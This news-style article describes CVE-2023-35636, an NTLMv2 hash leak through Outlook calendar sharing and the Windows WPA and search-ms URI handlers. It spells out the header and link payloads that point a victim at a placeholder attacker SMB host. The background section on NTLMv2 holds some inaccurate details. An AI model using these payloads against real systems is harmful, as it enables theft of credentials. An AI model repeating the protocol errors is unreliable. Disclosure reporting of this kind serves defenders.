New Outlook Flaw Let Attackers Access Hashed Passwords
A new Outlook vulnerability that can be used to extract NTLMv2 hashes by exploiting Outlook, Windows Performance Analyzer (WPA), and Windows File Explorer has been identified.
This vulnerability has been assigned with CVE-2023-35636, and the severity has been given as 6.5 (Medium).
This vulnerability was reported to Microsoft in July 2023, and they took action by patching the WPA and File Explorer with “Moderate Severity.”
Microsoft has completely patched this vulnerability in December 2023. However, unpatched systems are still vulnerable to exploitation and stealing of hashed passwords.
Outlook Flaw – CVE-2023-35636
This vulnerability is an exploit of the calendar-sharing function in Outlook, which, if two additional headers are added, can result in directing Outlook to connect and share content to an external machine. This connectivity can further be utilized for intercepting NTLMv2 hash.
Suppose an attacker is successful in extracting NTLM v3 hashes. In that case, there are two possible methods of attack, which are Offline brute-force attacks, which can reveal the original password, and authentication relay attacks, in which an authentication request to a server can be manipulated by the attacker with the NTLMv2 hash and get authenticated to the server under the name of the victim.
Leaking of NTLM v2 hashes using Outlook
Outlook serves as the email and calendar tool for the Microsoft 365 suite, which is used by millions of people and organizations worldwide.
One of its prime features is the sharing of calendars between users, which can be exploited to trigger an attempt for authentication that can result in redirecting the hashed password to the attacker’s server.
The headers that can be used for exploitation are,
“Content-Class” = “Sharing” — tells Outlook that this email contains sharing content.
“x-sharing-config-url” = \\(Attacker machine)\a.ics — points the victim’s Outlook to the attacker’s machine.
Leaking NTLM v2 Hashes using URI Handlers
Windows Performance Analyzer (WPA), the default feature in Windows, performs an action to install a URI handler for WPA:// by default, which enables the program to launch automatically when a user clicks on a WPA-related link.
Moreover, this feature uses NTLM v2 hashes for authentication over the open web. This makes it vulnerable to relay and offline brute-force attacks.
To exploit this WPA, the threat actor can send a payload that will have three parts.
Full payload:
wpa:////<attacker IP>/bla
wpa:// — tells the operating system that this link should open in WPA.
//<attacker IP> — tells the victim’s machine to access the attacker’s machine via SMB.
/bla — tells the victim’s machine which file to access.
Leaking NTLM v2 Hashes using Windows File Explorer
There is a URI handle “search-ms” that activates the explorer.exe’s search feature and points the explorer.exe process to the web. This explorer.exe is one of the most powerful processes in the Windows Operating system, which has several capabilities to browse files and folders, copy and move files, and create and delete folders.
However, as part of the exploitation, there were two parameters identified as part of Microsoft’s documentation: “subquery” and “crumb”. For exploitation with the “subquery” parameter, the below payload can be used
search-ms://query=poc&subquery=\\(Attacker machine)\poc.search-ms
search-ms:// – tells the operating system that this link should open in exe.
query=poc – Fake search query
&subquery=\\(Attacker machine)\poc.search-ms — Path to .search-ms file.
For exploitation with the “crumb” parameter, the below payload can be used,
search-ms://query=poc&crumb=location:\\(Attacker machine)
search-ms:// – tells the operating system that this link should open in exe.
query=poc – Fake search query
crumb=location:\\(Attacker machine) —
The location property under the crumb parameter allows the user to specify a path for the search.
Furthermore, a complete report has been published, providing detailed information about the attack scenarios, exploitation methods, etc
What is NTLMv2?
NTLMv2 (NT LAN Manager version 2) is a protocol used by Windows operating systems for authentication and authorization purposes. However, NTLMv2 can also be exploited by attackers to gain unauthorized access to a system, steal credentials, and perform other malicious activities.
Key features of NTLMv2
Authentication Protocol: NTLMv2 is primarily used for authentication between clients and servers in a Windows network environment. It is commonly employed in scenarios such as user logins and access to shared resources.
Challenge-Response Mechanism: NTLMv2 uses a challenge-response mechanism for authentication. When a client attempts to access a server, the server sends a random challenge to the client. The client then encrypts this challenge using its password and other information and sends the encrypted response back to the server.
Hashing and Encryption: NTLMv2 relies on cryptographic techniques for securing authentication data. It uses HMAC-MD5 (Hash-based Message Authentication Code with the MD5 hash function) for integrity checking and DES (Data Encryption Standard) for encryption.
Enhanced Security: NTLMv2 includes improvements over the original NTLM protocol to enhance security. It addresses weaknesses such as the susceptibility to certain types of attacks, including replay attacks, which were more of a concern in the earlier version.
Compatibility: NTLMv2 is backward-compatible with the original NTLM protocol, allowing systems to support both versions during a transitional period. However, the use of NTLMv2 is generally recommended for better security.
Domain Authentication: NTLMv2 is often used in Windows domain environments, where it plays a role in authenticating users and computers within the domain.
How to exploit NTLMv2
One common way to exploit the NTLMv2 vulnerability is through a technique called “pass-the-hash” attack. In this attack, an attacker intercepts the NTLMv2 hash of a user’s password, which is stored in the system’s memory, and uses it to authenticate as the user without knowing their actual password. This allows the attacker to gain access to sensitive resources, such as files and databases, and perform unauthorized actions.
Another way to exploit the NTLMv2 vulnerability is through a “replay” attack, in which an attacker intercepts the NTLMv2 authentication messages exchanged between a client and a server and replays them to gain unauthorized access to the system.
To mitigate the NTLMv2 vulnerability, it is recommended to implement strong password policies, such as enforcing complex passwords and regular password changes. Additionally, using multi-factor authentication and implementing security controls such as firewalls and intrusion detection systems can help prevent and detect attacks exploiting the NTLMv2 vulnerability. Finally, it is important to keep the operating system and other software up-to-date with the latest security patches to minimize the risk of exploitation.
